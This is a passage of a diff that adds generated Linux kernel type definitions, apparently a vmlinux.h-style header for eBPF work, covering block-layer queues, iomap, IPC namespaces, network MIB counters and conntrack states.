timer_rand_state *random; + atomic_t sync_io; + struct disk_events *ev; + int node_id; + struct badblocks *bb; + struct lockdep_map lockdep_map; + u64 diskseq; + struct blk_independent_access_ranges *ia_ranges; +}; + +enum blk_bounce { + BLK_BOUNCE_NONE = 0, + BLK_BOUNCE_HIGH = 1, +}; + +enum blk_zoned_model { + BLK_ZONED_NONE = 0, + BLK_ZONED_HA = 1, + BLK_ZONED_HM = 2, +}; + +struct queue_limits { + enum blk_bounce bounce; + long unsigned int seg_boundary_mask; + long unsigned int virt_boundary_mask; + unsigned int max_hw_sectors; + unsigned int max_dev_sectors; + unsigned int chunk_sectors; + unsigned int max_sectors; + unsigned int max_user_sectors; + unsigned int max_segment_size; + unsigned int physical_block_size; + unsigned int logical_block_size; + unsigned int alignment_offset; + unsigned int io_min; + unsigned int io_opt; + unsigned int max_discard_sectors; + unsigned int max_hw_discard_sectors; + unsigned int max_secure_erase_sectors; + unsigned int max_write_zeroes_sectors; + unsigned int max_zone_append_sectors; + unsigned int discard_granularity; + unsigned int discard_alignment; + unsigned int zone_write_granularity; + short unsigned int max_segments; + short unsigned int max_integrity_segments; + short unsigned int max_discard_segments; + unsigned char misaligned; + unsigned char discard_misaligned; + unsigned char raid_partial_stripes_expensive; + enum blk_zoned_model zoned; + unsigned int dma_alignment; +}; + +struct elevator_queue; + +struct blk_queue_stats; + +struct rq_qos; + +struct blk_mq_ops; + +struct blk_mq_ctx; + +struct blk_mq_tags; + +struct blk_trace; + +struct blk_flush_queue; + +struct throtl_data; + +struct blk_mq_tag_set; + +struct request_queue { + struct request *last_merge; + struct elevator_queue *elevator; + struct percpu_ref q_usage_counter; + struct blk_queue_stats *stats; + struct rq_qos *rq_qos; + const struct blk_mq_ops *mq_ops; + struct blk_mq_ctx *queue_ctx; + unsigned int queue_depth; + struct xarray hctx_table; + unsigned int nr_hw_queues; + void *queuedata; + long unsigned int queue_flags; + atomic_t pm_only; + int id; + spinlock_t queue_lock; + struct gendisk *disk; + refcount_t refs; + struct kobject *mq_kobj; + struct device *dev; + enum rpm_status rpm_status; + long unsigned int nr_requests; + unsigned int dma_pad_mask; + unsigned int rq_timeout; + struct timer_list timeout; + struct work_struct timeout_work; + atomic_t nr_active_requests_shared_tags; + struct blk_mq_tags *sched_shared_tags; + struct list_head icq_list; + long unsigned int blkcg_pols[1]; + struct blkcg_gq *root_blkg; + struct list_head blkg_list; + struct mutex blkcg_mutex; + struct queue_limits limits; + unsigned int required_elevator_features; + int node; + struct blk_trace *blk_trace; + struct blk_flush_queue *fq; + struct list_head requeue_list; + spinlock_t requeue_lock; + struct delayed_work requeue_work; + struct mutex sysfs_lock; + struct mutex sysfs_dir_lock; + struct list_head unused_hctx_list; + spinlock_t unused_hctx_lock; + int mq_freeze_depth; + struct throtl_data *td; + struct callback_head callback_head; + wait_queue_head_t mq_freeze_wq; + struct mutex mq_freeze_lock; + int quiesce_depth; + struct blk_mq_tag_set *tag_set; + struct list_head tag_set_list; + struct dentry *debugfs_dir; + struct dentry *sched_debugfs_dir; + struct dentry *rqos_debugfs_dir; + struct mutex debugfs_mutex; + bool mq_sysfs_init_done; +}; + +struct io_comp_batch { + struct request *req_list; + bool need_ts; + void (*complete)(struct io_comp_batch *); +}; + +struct fiemap_extent; + +struct fiemap_extent_info { + unsigned int fi_flags; + unsigned int fi_extents_mapped; + unsigned int fi_extents_max; + struct fiemap_extent *fi_extents_start; +}; + +struct partition_meta_info { + char uuid[37]; + u8 volname[64]; +}; + +struct blk_zone { + __u64 start; + __u64 len; + __u64 wp; + __u8 type; + __u8 cond; + __u8 non_seq; + __u8 reset; + __u8 resv[4]; + __u64 capacity; + __u8 reserved[24]; +}; + +typedef int (*report_zones_cb)(struct blk_zone *, unsigned int, void *); + +enum blk_unique_id { + BLK_UID_T10 = 1, + BLK_UID_EUI64 = 2, + BLK_UID_NAA = 3, +}; + +struct hd_geometry; + +struct pr_ops; + +struct block_device_operations { + void (*submit_bio)(struct bio *); + int (*poll_bio)(struct bio *, struct io_comp_batch *, unsigned int); + int (*open)(struct block_device *, fmode_t); + void (*release)(struct gendisk *, fmode_t); + int (*ioctl)(struct block_device *, fmode_t, unsigned int, long unsigned int); + int (*compat_ioctl)(struct block_device *, fmode_t, unsigned int, long unsigned int); + unsigned int (*check_events)(struct gendisk *, unsigned int); + void (*unlock_native_capacity)(struct gendisk *); + int (*getgeo)(struct block_device *, struct hd_geometry *); + int (*set_read_only)(struct block_device *, bool); + void (*free_disk)(struct gendisk *); + void (*swap_slot_free_notify)(struct block_device *, long unsigned int); + int (*report_zones)(struct gendisk *, sector_t, unsigned int, report_zones_cb, void *); + char * (*devnode)(struct gendisk *, umode_t *); + int (*get_unique_id)(struct gendisk *, u8 *, enum blk_unique_id); + struct module *owner; + const struct pr_ops *pr_ops; + int (*alternative_gpt_sector)(struct gendisk *, sector_t *); +}; + +struct blk_independent_access_range { + struct kobject kobj; + sector_t sector; + sector_t nr_sectors; +}; + +struct blk_independent_access_ranges { + struct kobject kobj; + bool sysfs_registered; + unsigned int nr_ia_ranges; + struct blk_independent_access_range ia_range[0]; +}; + +enum blk_eh_timer_return { + BLK_EH_DONE = 0, + BLK_EH_RESET_TIMER = 1, +}; + +struct blk_mq_hw_ctx; + +struct blk_mq_queue_data; + +struct blk_mq_ops { + blk_status_t (*queue_rq)(struct blk_mq_hw_ctx *, const struct blk_mq_queue_data *); + void (*commit_rqs)(struct blk_mq_hw_ctx *); + void (*queue_rqs)(struct request **); + int (*get_budget)(struct request_queue *); + void (*put_budget)(struct request_queue *, int); + void (*set_rq_budget_token)(struct request *, int); + int (*get_rq_budget_token)(struct request *); + enum blk_eh_timer_return (*timeout)(struct request *); + int (*poll)(struct blk_mq_hw_ctx *, struct io_comp_batch *); + void (*complete)(struct request *); + int (*init_hctx)(struct blk_mq_hw_ctx *, void *, unsigned int); + void (*exit_hctx)(struct blk_mq_hw_ctx *, unsigned int); + int (*init_request)(struct blk_mq_tag_set *, struct request *, unsigned int, unsigned int); + void (*exit_request)(struct blk_mq_tag_set *, struct request *, unsigned int); + void (*cleanup_rq)(struct request *); + bool (*busy)(struct request_queue *); + void (*map_queues)(struct blk_mq_tag_set *); + void (*show_rq)(struct seq_file *, struct request *); +}; + +enum pr_type { + PR_WRITE_EXCLUSIVE = 1, + PR_EXCLUSIVE_ACCESS = 2, + PR_WRITE_EXCLUSIVE_REG_ONLY = 3, + PR_EXCLUSIVE_ACCESS_REG_ONLY = 4, + PR_WRITE_EXCLUSIVE_ALL_REGS = 5, + PR_EXCLUSIVE_ACCESS_ALL_REGS = 6, +}; + +struct pr_ops { + int (*pr_register)(struct block_device *, u64, u64, u32); + int (*pr_reserve)(struct block_device *, u64, enum pr_type, u32); + int (*pr_release)(struct block_device *, u64, enum pr_type); + int (*pr_preempt)(struct block_device *, u64, u64, enum pr_type, bool); + int (*pr_clear)(struct block_device *, u64); +}; + +struct dax_device; + +struct iomap_folio_ops; + +struct iomap { + u64 addr; + loff_t offset; + u64 length; + u16 type; + u16 flags; + struct block_device *bdev; + struct dax_device *dax_dev; + void *inline_data; + void *private; + const struct iomap_folio_ops *folio_ops; + u64 validity_cookie; +}; + +struct iomap_iter; + +struct iomap_folio_ops { + struct folio * (*get_folio)(struct iomap_iter *, loff_t, unsigned int); + void (*put_folio)(struct inode *, loff_t, unsigned int, struct folio *); + bool (*iomap_valid)(struct inode *, const struct iomap *); +}; + +struct iomap_iter { + struct inode *inode; + loff_t pos; + u64 len; + s64 processed; + unsigned int flags; + struct iomap iomap; + struct iomap srcmap; + void *private; +}; + +struct iomap_ops { + int (*iomap_begin)(struct inode *, loff_t, loff_t, unsigned int, struct iomap *, struct iomap *); + int (*iomap_end)(struct inode *, loff_t, loff_t, ssize_t, unsigned int, struct iomap *); +}; + +struct fiemap_extent { + __u64 fe_logical; + __u64 fe_physical; + __u64 fe_length; + __u64 fe_reserved64[2]; + __u32 fe_flags; + __u32 fe_reserved[3]; +}; + +typedef __kernel_ulong_t ino_t; + +typedef u32 nlink_t; + +enum refcount_saturation_type { + REFCOUNT_ADD_NOT_ZERO_OVF = 0, + REFCOUNT_ADD_OVF = 1, + REFCOUNT_ADD_UAF = 2, + REFCOUNT_SUB_UAF = 3, + REFCOUNT_DEC_LEAK = 4, +}; + +struct linux_binprm; + +struct coredump_params; + +struct linux_binfmt { + struct list_head lh; + struct module *module; + int (*load_binary)(struct linux_binprm *); + int (*load_shlib)(struct file *); + int (*core_dump)(struct coredump_params *); + long unsigned int min_coredump; +}; + +typedef int (*proc_write_t)(struct file *, char *, size_t); + +struct ipc_ids { + int in_use; + short unsigned int seq; + struct rw_semaphore rwsem; + struct idr ipcs_idr; + int max_idx; + int last_idx; + struct rhashtable key_ht; +}; + +struct ipc_namespace { + struct ipc_ids ids[3]; + int sem_ctls[4]; + int used_sems; + unsigned int msg_ctlmax; + unsigned int msg_ctlmnb; + unsigned int msg_ctlmni; + struct percpu_counter percpu_msg_bytes; + struct percpu_counter percpu_msg_hdrs; + size_t shm_ctlmax; + size_t shm_ctlall; + long unsigned int shm_tot; + int shm_ctlmni; + int shm_rmid_forced; + struct notifier_block ipcns_nb; + struct vfsmount *mq_mnt; + unsigned int mq_queues_count; + unsigned int mq_queues_max; + unsigned int mq_msg_max; + unsigned int mq_msgsize_max; + unsigned int mq_msg_default; + unsigned int mq_msgsize_default; + struct ctl_table_set mq_set; + struct ctl_table_header *mq_sysctls; + struct ctl_table_set ipc_set; + struct ctl_table_header *ipc_sysctls; + struct user_namespace *user_ns; + struct ucounts *ucounts; + struct llist_node mnt_llist; + struct ns_common ns; +}; + +struct nsset { + unsigned int flags; + struct nsproxy *nsproxy; + struct fs_struct *fs; + const struct cred *cred; +}; + +enum { + IPSTATS_MIB_NUM = 0, + IPSTATS_MIB_INPKTS = 1, + IPSTATS_MIB_INOCTETS = 2, + IPSTATS_MIB_INDELIVERS = 3, + IPSTATS_MIB_OUTFORWDATAGRAMS = 4, + IPSTATS_MIB_OUTPKTS = 5, + IPSTATS_MIB_OUTOCTETS = 6, + IPSTATS_MIB_INHDRERRORS = 7, + IPSTATS_MIB_INTOOBIGERRORS = 8, + IPSTATS_MIB_INNOROUTES = 9, + IPSTATS_MIB_INADDRERRORS = 10, + IPSTATS_MIB_INUNKNOWNPROTOS = 11, + IPSTATS_MIB_INTRUNCATEDPKTS = 12, + IPSTATS_MIB_INDISCARDS = 13, + IPSTATS_MIB_OUTDISCARDS = 14, + IPSTATS_MIB_OUTNOROUTES = 15, + IPSTATS_MIB_REASMTIMEOUT = 16, + IPSTATS_MIB_REASMREQDS = 17, + IPSTATS_MIB_REASMOKS = 18, + IPSTATS_MIB_REASMFAILS = 19, + IPSTATS_MIB_FRAGOKS = 20, + IPSTATS_MIB_FRAGFAILS = 21, + IPSTATS_MIB_FRAGCREATES = 22, + IPSTATS_MIB_INMCASTPKTS = 23, + IPSTATS_MIB_OUTMCASTPKTS = 24, + IPSTATS_MIB_INBCASTPKTS = 25, + IPSTATS_MIB_OUTBCASTPKTS = 26, + IPSTATS_MIB_INMCASTOCTETS = 27, + IPSTATS_MIB_OUTMCASTOCTETS = 28, + IPSTATS_MIB_INBCASTOCTETS = 29, + IPSTATS_MIB_OUTBCASTOCTETS = 30, + IPSTATS_MIB_CSUMERRORS = 31, + IPSTATS_MIB_NOECTPKTS = 32, + IPSTATS_MIB_ECT1PKTS = 33, + IPSTATS_MIB_ECT0PKTS = 34, + IPSTATS_MIB_CEPKTS = 35, + IPSTATS_MIB_REASM_OVERLAPS = 36, + __IPSTATS_MIB_MAX = 37, +}; + +enum { + ICMP_MIB_NUM = 0, + ICMP_MIB_INMSGS = 1, + ICMP_MIB_INERRORS = 2, + ICMP_MIB_INDESTUNREACHS = 3, + ICMP_MIB_INTIMEEXCDS = 4, + ICMP_MIB_INPARMPROBS = 5, + ICMP_MIB_INSRCQUENCHS = 6, + ICMP_MIB_INREDIRECTS = 7, + ICMP_MIB_INECHOS = 8, + ICMP_MIB_INECHOREPS = 9, + ICMP_MIB_INTIMESTAMPS = 10, + ICMP_MIB_INTIMESTAMPREPS = 11, + ICMP_MIB_INADDRMASKS = 12, + ICMP_MIB_INADDRMASKREPS = 13, + ICMP_MIB_OUTMSGS = 14, + ICMP_MIB_OUTERRORS = 15, + ICMP_MIB_OUTDESTUNREACHS = 16, + ICMP_MIB_OUTTIMEEXCDS = 17, + ICMP_MIB_OUTPARMPROBS = 18, + ICMP_MIB_OUTSRCQUENCHS = 19, + ICMP_MIB_OUTREDIRECTS = 20, + ICMP_MIB_OUTECHOS = 21, + ICMP_MIB_OUTECHOREPS = 22, + ICMP_MIB_OUTTIMESTAMPS = 23, + ICMP_MIB_OUTTIMESTAMPREPS = 24, + ICMP_MIB_OUTADDRMASKS = 25, + ICMP_MIB_OUTADDRMASKREPS = 26, + ICMP_MIB_CSUMERRORS = 27, + ICMP_MIB_RATELIMITGLOBAL = 28, + ICMP_MIB_RATELIMITHOST = 29, + __ICMP_MIB_MAX = 30, +}; + +enum { + ICMP6_MIB_NUM = 0, + ICMP6_MIB_INMSGS = 1, + ICMP6_MIB_INERRORS = 2, + ICMP6_MIB_OUTMSGS = 3, + ICMP6_MIB_OUTERRORS = 4, + ICMP6_MIB_CSUMERRORS = 5, + ICMP6_MIB_RATELIMITHOST = 6, + __ICMP6_MIB_MAX = 7, +}; + +enum { + TCP_MIB_NUM = 0, + TCP_MIB_RTOALGORITHM = 1, + TCP_MIB_RTOMIN = 2, + TCP_MIB_RTOMAX = 3, + TCP_MIB_MAXCONN = 4, + TCP_MIB_ACTIVEOPENS = 5, + TCP_MIB_PASSIVEOPENS = 6, + TCP_MIB_ATTEMPTFAILS = 7, + TCP_MIB_ESTABRESETS = 8, + TCP_MIB_CURRESTAB = 9, + TCP_MIB_INSEGS = 10, + TCP_MIB_OUTSEGS = 11, + TCP_MIB_RETRANSSEGS = 12, + TCP_MIB_INERRS = 13, + TCP_MIB_OUTRSTS = 14, + TCP_MIB_CSUMERRORS = 15, + __TCP_MIB_MAX = 16, +}; + +enum { + UDP_MIB_NUM = 0, + UDP_MIB_INDATAGRAMS = 1, + UDP_MIB_NOPORTS = 2, + UDP_MIB_INERRORS = 3, + UDP_MIB_OUTDATAGRAMS = 4, + UDP_MIB_RCVBUFERRORS = 5, + UDP_MIB_SNDBUFERRORS = 6, + UDP_MIB_CSUMERRORS = 7, + UDP_MIB_IGNOREDMULTI = 8, + UDP_MIB_MEMERRORS = 9, + __UDP_MIB_MAX = 10, +}; + +enum { + LINUX_MIB_NUM = 0, + LINUX_MIB_SYNCOOKIESSENT = 1, + LINUX_MIB_SYNCOOKIESRECV = 2, + LINUX_MIB_SYNCOOKIESFAILED = 3, + LINUX_MIB_EMBRYONICRSTS = 4, + LINUX_MIB_PRUNECALLED = 5, + LINUX_MIB_RCVPRUNED = 6, + LINUX_MIB_OFOPRUNED = 7, + LINUX_MIB_OUTOFWINDOWICMPS = 8, + LINUX_MIB_LOCKDROPPEDICMPS = 9, + LINUX_MIB_ARPFILTER = 10, + LINUX_MIB_TIMEWAITED = 11, + LINUX_MIB_TIMEWAITRECYCLED = 12, + LINUX_MIB_TIMEWAITKILLED = 13, + LINUX_MIB_PAWSACTIVEREJECTED = 14, + LINUX_MIB_PAWSESTABREJECTED = 15, + LINUX_MIB_DELAYEDACKS = 16, + LINUX_MIB_DELAYEDACKLOCKED = 17, + LINUX_MIB_DELAYEDACKLOST = 18, + LINUX_MIB_LISTENOVERFLOWS = 19, + LINUX_MIB_LISTENDROPS = 20, + LINUX_MIB_TCPHPHITS = 21, + LINUX_MIB_TCPPUREACKS = 22, + LINUX_MIB_TCPHPACKS = 23, + LINUX_MIB_TCPRENORECOVERY = 24, + LINUX_MIB_TCPSACKRECOVERY = 25, + LINUX_MIB_TCPSACKRENEGING = 26, + LINUX_MIB_TCPSACKREORDER = 27, + LINUX_MIB_TCPRENOREORDER = 28, + LINUX_MIB_TCPTSREORDER = 29, + LINUX_MIB_TCPFULLUNDO = 30, + LINUX_MIB_TCPPARTIALUNDO = 31, + LINUX_MIB_TCPDSACKUNDO = 32, + LINUX_MIB_TCPLOSSUNDO = 33, + LINUX_MIB_TCPLOSTRETRANSMIT = 34, + LINUX_MIB_TCPRENOFAILURES = 35, + LINUX_MIB_TCPSACKFAILURES = 36, + LINUX_MIB_TCPLOSSFAILURES = 37, + LINUX_MIB_TCPFASTRETRANS = 38, + LINUX_MIB_TCPSLOWSTARTRETRANS = 39, + LINUX_MIB_TCPTIMEOUTS = 40, + LINUX_MIB_TCPLOSSPROBES = 41, + LINUX_MIB_TCPLOSSPROBERECOVERY = 42, + LINUX_MIB_TCPRENORECOVERYFAIL = 43, + LINUX_MIB_TCPSACKRECOVERYFAIL = 44, + LINUX_MIB_TCPRCVCOLLAPSED = 45, + LINUX_MIB_TCPDSACKOLDSENT = 46, + LINUX_MIB_TCPDSACKOFOSENT = 47, + LINUX_MIB_TCPDSACKRECV = 48, + LINUX_MIB_TCPDSACKOFORECV = 49, + LINUX_MIB_TCPABORTONDATA = 50, + LINUX_MIB_TCPABORTONCLOSE = 51, + LINUX_MIB_TCPABORTONMEMORY = 52, + LINUX_MIB_TCPABORTONTIMEOUT = 53, + LINUX_MIB_TCPABORTONLINGER = 54, + LINUX_MIB_TCPABORTFAILED = 55, + LINUX_MIB_TCPMEMORYPRESSURES = 56, + LINUX_MIB_TCPMEMORYPRESSURESCHRONO = 57, + LINUX_MIB_TCPSACKDISCARD = 58, + LINUX_MIB_TCPDSACKIGNOREDOLD = 59, + LINUX_MIB_TCPDSACKIGNOREDNOUNDO = 60, + LINUX_MIB_TCPSPURIOUSRTOS = 61, + LINUX_MIB_TCPMD5NOTFOUND = 62, + LINUX_MIB_TCPMD5UNEXPECTED = 63, + LINUX_MIB_TCPMD5FAILURE = 64, + LINUX_MIB_SACKSHIFTED = 65, + LINUX_MIB_SACKMERGED = 66, + LINUX_MIB_SACKSHIFTFALLBACK = 67, + LINUX_MIB_TCPBACKLOGDROP = 68, + LINUX_MIB_PFMEMALLOCDROP = 69, + LINUX_MIB_TCPMINTTLDROP = 70, + LINUX_MIB_TCPDEFERACCEPTDROP = 71, + LINUX_MIB_IPRPFILTER = 72, + LINUX_MIB_TCPTIMEWAITOVERFLOW = 73, + LINUX_MIB_TCPREQQFULLDOCOOKIES = 74, + LINUX_MIB_TCPREQQFULLDROP = 75, + LINUX_MIB_TCPRETRANSFAIL = 76, + LINUX_MIB_TCPRCVCOALESCE = 77, + LINUX_MIB_TCPBACKLOGCOALESCE = 78, + LINUX_MIB_TCPOFOQUEUE = 79, + LINUX_MIB_TCPOFODROP = 80, + LINUX_MIB_TCPOFOMERGE = 81, + LINUX_MIB_TCPCHALLENGEACK = 82, + LINUX_MIB_TCPSYNCHALLENGE = 83, + LINUX_MIB_TCPFASTOPENACTIVE = 84, + LINUX_MIB_TCPFASTOPENACTIVEFAIL = 85, + LINUX_MIB_TCPFASTOPENPASSIVE = 86, + LINUX_MIB_TCPFASTOPENPASSIVEFAIL = 87, + LINUX_MIB_TCPFASTOPENLISTENOVERFLOW = 88, + LINUX_MIB_TCPFASTOPENCOOKIEREQD = 89, + LINUX_MIB_TCPFASTOPENBLACKHOLE = 90, + LINUX_MIB_TCPSPURIOUS_RTX_HOSTQUEUES = 91, + LINUX_MIB_BUSYPOLLRXPACKETS = 92, + LINUX_MIB_TCPAUTOCORKING = 93, + LINUX_MIB_TCPFROMZEROWINDOWADV = 94, + LINUX_MIB_TCPTOZEROWINDOWADV = 95, + LINUX_MIB_TCPWANTZEROWINDOWADV = 96, + LINUX_MIB_TCPSYNRETRANS = 97, + LINUX_MIB_TCPORIGDATASENT = 98, + LINUX_MIB_TCPHYSTARTTRAINDETECT = 99, + LINUX_MIB_TCPHYSTARTTRAINCWND = 100, + LINUX_MIB_TCPHYSTARTDELAYDETECT = 101, + LINUX_MIB_TCPHYSTARTDELAYCWND = 102, + LINUX_MIB_TCPACKSKIPPEDSYNRECV = 103, + LINUX_MIB_TCPACKSKIPPEDPAWS = 104, + LINUX_MIB_TCPACKSKIPPEDSEQ = 105, + LINUX_MIB_TCPACKSKIPPEDFINWAIT2 = 106, + LINUX_MIB_TCPACKSKIPPEDTIMEWAIT = 107, + LINUX_MIB_TCPACKSKIPPEDCHALLENGE = 108, + LINUX_MIB_TCPWINPROBE = 109, + LINUX_MIB_TCPKEEPALIVE = 110, + LINUX_MIB_TCPMTUPFAIL = 111, + LINUX_MIB_TCPMTUPSUCCESS = 112, + LINUX_MIB_TCPDELIVERED = 113, + LINUX_MIB_TCPDELIVEREDCE = 114, + LINUX_MIB_TCPACKCOMPRESSED = 115, + LINUX_MIB_TCPZEROWINDOWDROP = 116, + LINUX_MIB_TCPRCVQDROP = 117, + LINUX_MIB_TCPWQUEUETOOBIG = 118, + LINUX_MIB_TCPFASTOPENPASSIVEALTKEY = 119, + LINUX_MIB_TCPTIMEOUTREHASH = 120, + LINUX_MIB_TCPDUPLICATEDATAREHASH = 121, + LINUX_MIB_TCPDSACKRECVSEGS = 122, + LINUX_MIB_TCPDSACKIGNOREDDUBIOUS = 123, + LINUX_MIB_TCPMIGRATEREQSUCCESS = 124, + LINUX_MIB_TCPMIGRATEREQFAILURE = 125, + LINUX_MIB_TCPPLBREHASH = 126, + __LINUX_MIB_MAX = 127, +}; + +enum { + LINUX_MIB_XFRMNUM = 0, + LINUX_MIB_XFRMINERROR = 1, + LINUX_MIB_XFRMINBUFFERERROR = 2, + LINUX_MIB_XFRMINHDRERROR = 3, + LINUX_MIB_XFRMINNOSTATES = 4, + LINUX_MIB_XFRMINSTATEPROTOERROR = 5, + LINUX_MIB_XFRMINSTATEMODEERROR = 6, + LINUX_MIB_XFRMINSTATESEQERROR = 7, + LINUX_MIB_XFRMINSTATEEXPIRED = 8, + LINUX_MIB_XFRMINSTATEMISMATCH = 9, + LINUX_MIB_XFRMINSTATEINVALID = 10, + LINUX_MIB_XFRMINTMPLMISMATCH = 11, + LINUX_MIB_XFRMINNOPOLS = 12, + LINUX_MIB_XFRMINPOLBLOCK = 13, + LINUX_MIB_XFRMINPOLERROR = 14, + LINUX_MIB_XFRMOUTERROR = 15, + LINUX_MIB_XFRMOUTBUNDLEGENERROR = 16, + LINUX_MIB_XFRMOUTBUNDLECHECKERROR = 17, + LINUX_MIB_XFRMOUTNOSTATES = 18, + LINUX_MIB_XFRMOUTSTATEPROTOERROR = 19, + LINUX_MIB_XFRMOUTSTATEMODEERROR = 20, + LINUX_MIB_XFRMOUTSTATESEQERROR = 21, + LINUX_MIB_XFRMOUTSTATEEXPIRED = 22, + LINUX_MIB_XFRMOUTPOLBLOCK = 23, + LINUX_MIB_XFRMOUTPOLDEAD = 24, + LINUX_MIB_XFRMOUTPOLERROR = 25, + LINUX_MIB_XFRMFWDHDRERROR = 26, + LINUX_MIB_XFRMOUTSTATEINVALID = 27, + LINUX_MIB_XFRMACQUIREERROR = 28, + __LINUX_MIB_XFRMMAX = 29, +}; + +enum { + LINUX_MIB_TLSNUM = 0, + LINUX_MIB_TLSCURRTXSW = 1, + LINUX_MIB_TLSCURRRXSW = 2, + LINUX_MIB_TLSCURRTXDEVICE = 3, + LINUX_MIB_TLSCURRRXDEVICE = 4, + LINUX_MIB_TLSTXSW = 5, + LINUX_MIB_TLSRXSW = 6, + LINUX_MIB_TLSTXDEVICE = 7, + LINUX_MIB_TLSRXDEVICE = 8, + LINUX_MIB_TLSDECRYPTERROR = 9, + LINUX_MIB_TLSRXDEVICERESYNC = 10, + LINUX_MIB_TLSDECRYPTRETRY = 11, + LINUX_MIB_TLSRXNOPADVIOL = 12, + __LINUX_MIB_TLSMAX = 13, +}; + +struct proc_dir_entry { + atomic_t in_use; + refcount_t refcnt; + struct list_head pde_openers; + spinlock_t pde_unload_lock; + struct completion *pde_unload_completion; + const struct inode_operations *proc_iops; + union { + const struct proc_ops *proc_ops; + const struct file_operations *proc_dir_ops; + }; + const struct dentry_operations *proc_dops; + union { + const struct seq_operations *seq_ops; + int (*single_show)(struct seq_file *, void *); + }; + proc_write_t write; + void *data; + unsigned int state_size; + unsigned int low_ino; + nlink_t nlink; + kuid_t uid; + kgid_t gid; + loff_t size; + struct proc_dir_entry *parent; + struct rb_root subdir; + struct rb_node subdir_node; + char *name; + umode_t mode; + u8 flags; + u8 namelen; + char inline_name[0]; +}; + +enum nf_inet_hooks { + NF_INET_PRE_ROUTING = 0, + NF_INET_LOCAL_IN = 1, + NF_INET_FORWARD = 2, + NF_INET_LOCAL_OUT = 3, + NF_INET_POST_ROUTING = 4, + NF_INET_NUMHOOKS = 5, + NF_INET_INGRESS = 5, +}; + +enum { + NFPROTO_UNSPEC = 0, + NFPROTO_INET = 1, + NFPROTO_IPV4 = 2, + NFPROTO_ARP = 3, + NFPROTO_NETDEV = 5, + NFPROTO_BRIDGE = 7, + NFPROTO_IPV6 = 10, + NFPROTO_NUMPROTO = 11, +}; + +enum tcp_conntrack { + TCP_CONNTRACK_NONE = 0, + TCP_CONNTRACK_SYN_SENT = 1, + TCP_CONNTRACK_SYN_RECV = 2, + TCP_CONNTRACK_ESTABLISHED = 3, + TCP_CONNTRACK_FIN_WAIT = 4, + TCP_CONNTRACK_CLOSE_WAIT = 5, + TCP_CONNTRACK_LAST_ACK = 6, + TCP_CONNTRACK_TIME_WAIT = 7, + TCP_CONNTRACK_CLOSE = 8, + TCP_CONNTRACK_LISTEN = 9, + TCP_CONNTRACK_MAX = 10, + TCP_CONNTRACK_IGNORE = 11, + TCP_CONNTRACK_RETRANS = 12, + TCP_CONNTRACK_UNACK = 13, + TCP_CONNTRACK_TIMEOUT_MAX = 14, +}; + +enum ct_dccp_states { + CT_DCCP_NONE = 0, + CT_DCCP_REQUEST = 1, + CT_DCCP_RESPOND = 2, + CT_DCCP_PARTOPEN = 3, + CT_DCCP_OPEN = 4, + CT_DCCP_CLOSEREQ = 5, + CT_DCCP_CLOSING = 6, + CT_DCCP_TIMEWAIT = 7, + CT_DCCP_IGNORE = 8, + CT_DCCP_INVALID = 9, + __CT_DCCP_MAX = 10, +}; + +enum ip_conntrack_dir { + IP_CT_DIR_ORIGINAL = 0, + IP_CT_DIR_REPLY = 1, + IP_CT_DIR_MAX = 2, +}; + +enum sctp_conntrack { + SCTP_CONNTRACK_NONE = 0, + SCTP_CONNTRACK_CLOSED = 1, + SCTP_CONNTRACK_COOKIE_WAIT = 2, + SCTP_CONNTRACK_COOKIE_ECHOED = 3, + SCTP_CONNTRACK_ESTABLISHED = 4, + SCTP_CONNTRACK_SHUTDOWN_SENT = 5, + SCTP_CONNTRACK_SHUTDOWN_RECD = 6, + SCTP_CONNTRACK_SHUTDOWN_ACK_SENT = 7, + SCTP_CONNTRACK_HEARTBEAT_SENT = 8, + SCTP_CONNTRACK_HEARTBEAT_ACKED = 9, + SCTP_CONNTRACK_MAX = 10, +}; + +enum udp_conntrack { + UDP_CT_UNREPLIED = 0, + UDP_CT_REPLIED = 1, + UDP_CT_MAX = 2, +}; + +enum { + XFRM_POLICY_IN = 0, + XFRM_POLICY_OUT = 1, + XFRM_POLICY_FWD = 2, + XFRM_POLICY_MASK = 3, + XFRM_POLICY_MAX = 3, +}; + +enum netns_bpf_attach_type { + NETNS_BPF_INVALID = -1, + NETNS_BPF_FLOW_DISSECTOR = 0, + NETNS_BPF_SK_LOOKUP = 1, + MAX_NETNS_BPF_ATTACH_TYPE = 2, +}; + +enum flow_dissector_key_id { + FLOW_DISSECTOR_KEY_CONTROL = 0, + FLOW_DISSECTOR_KEY_BASIC = 1, + FLOW_DISSECTOR_KEY_IPV4_ADDRS = 2, + FLOW_DISSECTOR_KEY_IPV6_ADDRS = 3, + FLOW_DISSECTOR_KEY_PORTS = 4, + FLOW_DISSECTOR_KEY_PORTS_RANGE = 5, + FLOW_DISSECTOR_KEY_ICMP = 6, + FLOW_DISSECTOR_KEY_ETH_ADDRS = 7, + FLOW_DISSECTOR_KEY_TIPC = 8, + FLOW_DISSECTOR_KEY_ARP = 9, + FLOW_DISSECTOR_KEY_VLAN = 10, + FLOW_DISSECTOR_KEY_FLOW_LABEL = 11, + FLOW_DISSECTOR_KEY_GRE_KEYID = 12, + FLOW_DISSECTOR_KEY_MPLS_ENTROPY = 13, + FLOW_DISSECTOR_KEY_ENC_KEYID = 14, + FLOW_DISSECTOR_KEY_ENC_IPV4_ADDRS = 15, + FLOW_DISSECTOR_KEY_ENC_IPV6_ADDRS = 16, + FLOW_DISSECTOR_KEY_ENC_CONTROL = 17, + FLOW_DISSECTOR_KEY_ENC_PORTS = 18, + FLOW_DISSECTOR_KEY_MPLS = 19, + FLOW_DISSECTOR_KEY_TCP = 20, + FLOW_DISSECTOR_KEY_IP = 21, + FLOW_DISSECTOR_KEY_CVLAN = 22, + FLOW_DISSECTOR_KEY_ENC_IP = 23, + FLOW_DISSECTOR_KEY_ENC_OPTS = 24, + FLOW_DISSECTOR_KEY_META = 25, + FLOW_DISSECTOR_KEY_CT = 26, + FLOW_DISSECTOR_KEY_HASH = 27, + FLOW_DISSECTOR_KEY_NUM_OF_VLANS = 28, + FLOW_DISSECTOR_KEY_PPPOE = 29, + FLOW_DISSECTOR_KEY_L2TPV3 = 30, + FLOW_DISSECTOR_KEY_MAX = 31, +}; + +enum skb_ext_id { + SKB_EXT_SEC_PATH = 0, + TC_SKB_EXT = 1, + SKB_EXT_MPTCP = 2, + SKB_EXT_NUM = 3, +}; + +struct linux_binprm { + struct vm_area_struct *vma; + long unsigned int vma_pages; + struct mm_struct *mm; + long unsigned int p; + long unsigned int argmin; + unsigned int have_execfd: 1; + unsigned int execfd_creds: 1; + unsigned int secureexec: 1; + unsigned int point_of_no_return: 